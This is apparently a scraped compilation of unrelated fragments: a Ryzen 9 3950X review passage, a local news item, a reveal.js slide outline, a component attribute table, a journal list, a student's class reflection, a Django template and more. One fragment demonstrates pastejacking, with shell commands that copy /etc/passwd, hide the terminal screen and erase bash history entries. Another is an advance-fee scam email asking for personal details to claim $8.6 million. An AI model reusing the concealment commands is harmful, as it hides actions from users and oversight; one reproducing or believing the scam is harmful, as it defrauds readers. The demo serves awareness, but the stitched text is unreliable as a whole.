What about Intel's big bad 18-core/36-thread i9-9980XE? It does manage to hang onto the overall multithreaded performance crown, but by no means is it a clean sweep. It's 12 percent faster in my aggregate multithreaded performance result, but the 3950X does claim wins in Cinebench, POV-Ray, Blender, and Handbrake. It also leads in PCMark 10 results, which aren't quite as multithreaded friendly. And it does all this while using substantially less power—I measured a bit more than 300W at the outlet with the 9980XE doing H.265 encoding, compared to 240W with the 3950X.
Intel knows it's behind on the core and lithography battles, though, which is why it has a revised Core i9-10980XE launching soon. It will be a bit faster than the 9980XE, but probably with even higher power use since it's basically still the same 14nm++ Skylake-X architecture. At least the price has been chopped in half, which is still $250 more than the 3950X, but if you want more performance and are willing to pay for it, Cascade Lake-X might be worth a look. Maybe.
Except AMD also has third gen Threadripper coming on November 25. Given the platform and architectural changes, I can't see Intel's lineup standing a chance against Threadripper in multithreaded workloads, but we'll see how that plays out in about 10 more days.
Image 1 of 2
Image 2 of 2
Ryzen 9 3950X is a multithreaded powerhouse
I've always said that AMD isn't in the business of selling inexpensive processors. Back in the FX era, that was all AMD really had on the CPU side, but now that AMD has competitive and even performance leading parts, prices are going up. Now it's Intel dropping prices on its three or four year old 14nm technology to stay relevant, while we wait for 10nm or 7nm desktop Intel solutions.
First, let me once again state the obvious: the Ryzen 9 3950X is not a CPU built primarily for gaming. Most gamers have a tough time justifying even a $300-$400 processor, never mind an $800 chip. You're better off with a $400 CPU and a $800 graphics card rather than a $800 CPU and a $400 graphics card if you're mostly interested in gaming. And even if you're willing to spend that much money, right now it looks like performance in games is generally slightly worse than the 3900X. If you're doing CPU-assisted video encoding of a livestream while you game, and you want to do it all on a single PC, the 3950X might be the right choice. But then I'd argue a second modest PC with an encoding and capture card would work better.
Where AMD's Ryzen 9 3950X shines is in the prosumer space. If you're doing serious work but don't quite have a blank check to go out and buy a $5,000-$10,000 workstation, you can get roughly the same level of performance with the 3950X and save a few thousand. It's also generally a more efficient CPU than any of the workstation or HEDT parts, because the AM4 platform keeps things sensible.
AMD deserves major props for making the CPU space a lot more interesting over the past three years.
AMD also deserves major props for making the CPU space a lot more interesting over the past three years. It's the polar opposite of the Bulldozer line of FX CPUs: excellent overall performance, a great value, efficient, and way more cores than anything Intel was traditionally willing to offer. Intel sat back delivering 4-core/8-thread desktop CPUs as its top mainstream solution from 2010 all the way to 2017, and only Ryzen changed that. Now, in less than three years, we've gone from 4-core to 8-core to 16-core processors on a mainstream platform.
And if you want to go HEDT, AMD has 32-core chips waiting in the wings, and it probably won't stop there. AMD has a great CPU portfolio right now, and I wouldn't be surprised to see Intel adopt something like AMD's chiplet strategy in future products. The 3950X would have been a far more costly product if AMD had tried to build the whole thing out of a single monolithic die.
 Heck, outside of playing the latest PC games, I can still do 95 percent of my work on a laptop from 2014. But while my laptop is fine for typing articles and minor image editing, it chokes on more complex tasks like video editing.
Where do we go from here? I'm not sure. Lithography advancements are slowing down, so TSMC's 7nm will probably remain state of the art for at least another two years before we shift to 5nm, and it looks as though Intel's 7nm is still two years away. Clockspeeds aren't scaling very fast either. AMD is busily building more cores into its CPUs, hoping the multithreaded applications will come, but the 3950X is arguably well ahead of what most people need. Many of us have hit a plateau in terms of how much CPU power we need, and that's not necessarily a bad thing.


Man, 20, injured after shock and fall from hydro tower near Ladysmith
by Jeff BellA 20-year-old man suffered significant injuries after climbing a B.C. Hydro tower near Ladysmith, getting shocked and falling about 21 metres to the ground.
He was airlifted to hospital and was listed in stable condition.
Ladysmith RCMP, the Ladysmith Fire Department and B.C. Ambulance responded to the scene on Riverbend Road. The Nov. 9 incident led to power failures in the Ladysmith area, police said.
“This type of activity is both illegal and highly dangerous,” said B.C. RCMP spokesman Cpl. Chris Manseau. “With the height of the tower you risk severe injury if you fall, and you’re very close to the high-power transmission lines and you risk being electrocuted and then falling.”


--- layout: post title: Grace Jones - Slave To The Rhythm Blooded - 1985 date: '2007-06-18T15:14:00.001Z' author: tknv tags: - music modified_time: '2009-07-09T19:22:18.136Z' blogger_id: tag:blogger.com,1999:blog-11459759.post-8889824061110830298 blogger_orig_url: http://phichyudebow.blogspot.com/2007/06/grace-jones-slave-to-rhythm-blooded.html --- I love 80's.


HTML5 Presentation
How to create presentations for web browsers
About this presentation
This is the example presentation for the book HTML5 Presentations How-To
reveal.js
Created by Hakim El Hattab
Open Source
References
http:/hakim.se
https://github.com/hakimel/reveal.js
Slide with Speaker notes


Harmless Code:
echo test echo foobar
Still looks harmless, but paste it to the terminal and you'll see…
echo test
cp /etc/passwd /tmp/
echo foobar
This time you won't even see it in your terminal…
echo test
tput smcup
cp /etc/passwd /tmp/
tput rmcup && echo -en "\e[1A\e[2K"
echo foobar
And this time not in the bash-history either…
echo test
tput smcup
set +o history
cp /etc/passwd /tmp/
HISTCONTROL=ignorespace
set -o history
history -d $(history | tail -1 | cut -f2 -d\ )
history -d $(history | tail -1 | cut -f2 -d\ )
tput rmcup && echo -en "\e[1A\e[2K"
echo foobar
Copying to vi won't help you…
:q!
tput smcup
cp /etc/passwd /tmp/
tput rmcup && echo -en "\e[1A\e[2K"
echo test
echo foobar
This work only for vi, a beer for the first one how send's me code working with vim or nano. ;)


| Attributes |
| Name | Required | Request-time | Type | Description |
| binding | no | true | javax.el.ValueExpression | Using an EL expression, bind the component reference to a bean property, so that the component may be accessed in the bean. |
| buttonLabel | no | true | java.lang.String | The label to be displayed on the button. Default = 'Geotrack'. |
| disabled | no | true | boolean | Disables this component, so it does not receive focus or get submitted. Default = 'false'. |
| duration | no | true | double | The duration in hours. Default = '1.0'. |
| id | no | true | java.lang.String | The component identifier for this component. This value must be unique within the closest parent component that is a naming container. |
| parameters | no | true | java.lang.String | Custom parameters that will be echoed by Bridgeit whenever it sends geotracking data to the server. These parameters can be used to identify individual users, pages, etc. The parameters must be in correct JSON format (without the opening/closing brackets), and the names should always start with the underscore character (e.g. "_viewId: '/geotracking.jsf', _userId: '001'"). |
| publish | no | true | java.lang.String | The application-scoped bean property where the geoJSON data and other parameters will be published to. |
| rendered | no | true | boolean | Return true if this component (and its children) should be rendered during the Render Response phase of the request processing lifecycle. Default = 'true'. |
| strategy | no | true | java.lang.String | Three strategies are currently supported: 'continuous' where the location of the device will be uploaded as frequently as it changes (intended for testing only due to high power consumption), 'significant' where the location is uploaded when it changes significantly, and 'stop' to cease location tracking. Default = 'continuous'. |
| style | no | true | java.lang.String | Sets the CSS style definition to be applied to this component. |
| styleClass | no | true | java.lang.String | Sets the CSS class to apply to this component. |
| tabindex | no | true | int | The tabindex of this component. |


On 4 June 2019, 12 new articles were published in 8 journals.
Post-Election Surveillance Ecology in Midtown Manhattan: “Where Are All the Protestors?”
Counterfeit Goods Fraud: An Account of Its Financial Management
Framing Innocence: An Experimental Test of the Effects of Wrongful Convictions on Public Opinion
Linking Property Crime Using Offender Crime Scene Behaviour: A Comparison of Methods
Using Baseline to Diagnose Internal States? Listen Closely
Operational Vigilance in Border Security: the Singapore Experience
Hot Spots Across the Metropolis: Evaluating Hot Spots Directed Patrol At City and Suburban Locations
Forensic Searches of Electronic Devices At the Border: United States V. Touset
How Do Terrorists Choose Their Targets For An Attack? the View From Inside An Independent Cell
Black Wind, White Snow: the Rise of Russia’s New Nationalism


val cameraStatusHandler: ManagedCameraStatus
Implementation of Custom interface to handle communication from ManagedCamera back to MainActivity.


We have covered so much material in this class, and I really enjoyed learning about different things.
Thanks to this class, I am able to understand and appreciate the importance these tools and applications contribute to my productivity and enhancing my skill set.
Below, you will find small fragments about the new skills I’ve gained.
Markable is a powerful online editor that allows me to easily and effortlessly convert markdown file to a html file. It also provides a live preview, one click download and file sharing abilities.
While working on this project, I established my online presence. As a software developer, I feel this was an important step toward enhancing my career.
GitHub is an amazing web based hosting service. It is a useful tool for software developers that allows for version control and collaborative development. It is a largest open source community.
Cloud9 IDE is a cloud based integrated development environment that supports several programming languages like HTML, CSS, PHP and it is an excellent environment for JavaScript and Node.js apps.
Bootstrap was built at Twitter and it is a front-end framework for effortless and smooth web development. It is bursting will features like responsive grids, JavaScript plugins, form control and others.
A virtual machine is a software implementation of a machine that runs programs like a regular machine would. We ran Linux and Android IOS on the virtual machines we built in class.


FROM THE DESK OF DR MRS MARY JEAN
THE AUDITING AND ACCOUNTING MANAGER,
BANK OF AFRICA (B.O.A)
OUAGADOUGOU-BURKINA FASO.
MY GOOD FRIEND,
I HOPED THAT YOU WILL NOT EXPOSE OR BETRAY THIS TRUST AND CONFIDENT THAT I AM ABOUT TO IMPOSE ON YOU FOR THE MATUAL BENEFIT OF OUR FAMILIES.
I NEED YOUR URGENT ASSISTANCE IN TRANSFERRING THE SUM OF (USD$8.6 M) MILLION TO YOUR ACCOUNT WITHIN 10 TO 17 BANKING DAYS.
THIS MONEY HAS BEEN DORMANT FOR YEARS IN OUR BANK WITHOUT ANY BODY CLAIMING THE FUND.
I WANT THE BANK TO RELEASE THE MONEY TO YOU AS THE NEAREST PERSON TO OUR DECEASED CUSTOMER (THE OWNER OF THE ACCOUNT) BELONGS TO ONE OF OUR FOREIGN CUSTOMER (MR. RICHARD BURSON) WHO DIED ALONGWITH HIS ENTIRE FAMILY ON NOVEMBER 1999 IN A PLANE CRASH.

FOR MOREINFORMATIONS ABOUT THE CRASH YOU CAN VISIT THIS SITE:
HTTP://NEWS.BBC.CO.UK/2/HI/AMERICAS/502503.STM
I DON'T WANT THE MONEY TO GO INTO OUR BANK ACCOUNT AS AN ABANDONED FUND.

HAVE A GREAT DAY.
1. NAME IN FULL:................................
2. ADDRESS:.......................................
3. NATIONALITY:...................................
4. AGE:.............................................
5. SEX..............................................
6. OCCUPATION:......................................
7. MARITAL STATUS:..................................
8. PHONE............................................
9. FAX:.............................................
BEST REGARD,
DR MRS MARY JEAN


{% extends '_base.html' %} {% load crispy_forms_tags %} {% block content %}
Are you sure you want to delete "{{ object }}"?